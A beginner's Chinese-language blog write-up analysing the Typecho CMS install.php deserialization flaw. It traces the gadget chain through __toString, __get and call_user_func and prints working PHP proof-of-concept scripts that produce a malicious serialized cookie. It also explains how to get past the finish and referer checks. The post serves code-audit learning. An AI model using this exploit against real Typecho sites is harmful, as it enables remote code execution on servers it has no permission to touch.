Typecho反序列化漏洞分析

0x01 简介

本文是新手代码审计学习记录,主要分析前些年出现的 Typecho 反序列化漏洞。文中用到的源码已经在上篇中给出:

Typecho 反序列化导致任意代码执行 POC 与 GETSHELL

0x02 核心漏洞分析

该漏洞主要存在于install.php文件中

http://ip/install.php

install.php第 232 行获取了_typecho_config Cookie信息后未进行过滤直接进行反序列操作,导致这个入口点可以直接进行反序列化攻击。 代码部分如下:

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

如果要将数据传入到漏洞点处,首先需要绕过文件首部验证。

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

文件首部首先会获取GET传参的finish参数,如果没有此参数程序将立马结束,所以需要在传入参数时把finish带入

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

程序为了阻挡跨站攻击,还会验证是否传入referer值,如果没有referer头,程序将立马结束。所以访问install.php的文件时也需要带上本站任意referer值;

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

反序列化完成以后,赋值给$config变量,使用此数据进行对象初始化:

$db = new Typecho_Db($config['adapter'], $config['prefix']);

其中的Typecho_Db类构造函数__construct定义在Db.php中:

\var\Typecho\Db.php
public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

我们知道魔术方法__toString()是在调用对象的时候自动调用。

具体来说,就是把一个字符串和一个类拼接的时候,会强制把类转换成字符串,就会触发传进来的这个类的toString()方法。

此处,Typecho_Db类的构造函数__construct()使用传入过来的值进行初始化,构造函数使用第一个变量$adapterName与字符串"Typecho_Db_Adapter_"进行了拼接,如果$adapterName变量为对象,则会调用__toString()

此时可以在整个typecho程序中,寻找带有__toString方法的类:

寻找到var/Typecho/Feed.php文件中,类名为Typecho_Feed下,在 223 行处,有__toString()方法。

分析__toString()方法,发现在 290 行处,

public function __toString()
{
...

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
...

$item['author']调用了screenName属性,我们知道在PHP中,如果实例化对象用于从不可访问的属性读取数据,会触发__get()魔术方法。

$item['author']设置的类中没有screenName就会执行该类的__get()方法。

继续寻找程序文件内部含有__get()方法的类,最后选定var/Typecho/Request.php文件中的Typecho_Request类,分析其中的__get()方法:

class Typecho_Request
{
...

/**
    * 获取实际传递参数(magic)
    *
    * @access public
    * @param string $key 指定参数
    * @return mixed
    */
public function __get($key)
{
    return $this->get($key);
}

...
}

发现程序调用了get()方法,继续跟踪get()方法:

/**
    * 获取实际传递参数
    *
    * @access public
    * @param string $key 指定参数
    * @param mixed $default 默认参数 (default: NULL)
    * @return mixed
    */
public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

首先switch检测$key是否在$this->_params[$key]这个数组里面,如果有的话将值赋值给$value,接着又对其他数组变量检测$key是否在里面,如果在数组里面没有检测$key,则将$value赋值成$default,最后判断一下$value类型,将$value传入_applyFilter()函数里面,继续跟踪_applyFilter()函数:

/**
    * 应用过滤器
    *
    * @access private
    * @param mixed $value
    * @return mixed
    */
private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

发现array_map()call_user_func()两个系统内置函数,将会自动为参数调用回调函数。

其中$filter是回调函数名字,$value是参数值。这两个参数都可控。

程序首先foreach遍历类中的$_filter变量,并且根据$value类型不同从而调用不同的函数:如果$value是数组,则将调用array_map(),反之则调用call_user_func()

因此,我们设置$filter为数组,第一个数组键值是assert$value设置php代码,即可执行。

0x03 反序列化执行过程

整个反序列化过程为:

install.php:unserialize()—>

Db.php:$adapterName='Typecho_Db_Adapter_' . $adapterName;拼接调用 __toString()—>


Feed.php:__toString():$item['author']->screenName 使其调用 __get()—>

Request.php:__get():get():return $this->_applyFilter($value):call_user_func($filter, $value);—>

执行利用代码

图解:

0x04 POC 编写核心分析

POC的核心是让关键的系统函数call_user_func出现,进而实现代码执行。

最本质的执行是:

<?php
call_user_func('phpinfo',1);
?>

与这个系统函数有关的变量是:$filter$value

先看$filter:

$filter是遍历$_filter后的值,因此观察$_filter:

private $_filter = array();

_filter是私有属性数组,可以构造如下payload

$this->_filter[0] = 'phpinfo';

phpinfo就可以成为$filter的值,进而传入call_user_func中执行。

然后是$value:

get方法中:

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
            ...
    }
...
}

可以看出value来自_params[$key]_params是私有数组,调用私有属性或不存在的属性会自动调用__get(),这里的$key是属性名。

我们可以构造出:

$this->_params['screenName'] =1;

其余部分是触发魔术方法的过程,不多赘述。以下是poc详细代码:

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct()
    {
        $this->_params['screenName'] = 1;//执行的参数值
        $this->_filter[0] = 'phpinfo';//filter 得到的值
    }
}
class Typecho_Feed{
    const RSS2 ='RSS 2.0';
    private $_items = array();
    private $_type;
    function __construct()
    {
        $this->_type = self::RSS2;//进入 toString()内部判断条件
        $_item['author'] = new Typecho_Request();//Feed.php 文件中触发 __get()方法使用的对象
        $this->_items[0] = $_item;
    }
}
$exp = new Typecho_Feed();
$a = array(
    'adapter' => $exp,//Db.php 文件中触发 __toString()使用的对象
    'prefix' => 'typecho_'
);
echo urldecode(base64_encode(serialize($a)));
?>

放置于根目录下,访问

http://www.typecho.com/poc.php

产生了cookie,进行利用后,

发现数据库出错。

为什么按照分析流程执行POC以后会发生错误?

经过分析发现,POC执行会导致Typecho触发异常,并且内部设置了异常类Typecho_Exception,触发异常以后Typecho会自动捕获异常,并执行异常输出。

程序开头开启了ob_start(),该函数会将内部输出全部放入到缓冲区,执行注入代码以后触发异常,导致ob_end_clean()执行,该函数会清空缓冲区。

解决方案:让程序强制退出,不执行Exception,这样原来的缓冲区内容就会输出出来。

if (!empty($item['category']) && is_array($item['category'])) {
    foreach ($item['category'] as $category) {
        $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
    }
}

发现在Feed.php中的__toString方法中的上述代码,可以给$item['category']赋值上对象,让其用数组的方式,遍历对象
时触发错误,强制退出程序。

修改后的poc如下:

<?php

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct()
    {
        $this->_params['screenName'] = 1;//执行的参数值
        $this->_filter[0] = 'phpinfo';//filter 得到的值
    }
}
class Typecho_Feed{
    const RSS2 = 'RSS 2.0';//进入 toString 内部判断条件
    private $_item = array();
    private $_type;
    function __construct()
    {
        $this->_type = self::RSS2;
        $_item['author'] = new Typecho_Request();//Feed.php 文件中触发 __get()方法使用的对象
        $_item['category'] =array(new Typecho_Request());//触发错误
        $this->_items[0] = $_item;
    }
}
$exp = new Typecho_Feed();
$a = array(
    'adapter' => $exp,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

成功出现phpinfo

0x04 总结

反序列化的核心是利用未过滤的输入点,根据相应类,构造恶意执行代码,使得类中的危险函数得以执行,如果POC代码触发了异常,还需要让程序强制退出。
小菜是新手啊,在文章上花了很长时间理思路,路还很远,文中有错误之处,恳请指出,谢谢!

发表评论

发表评论

*

沙发空缺中,还不快抢~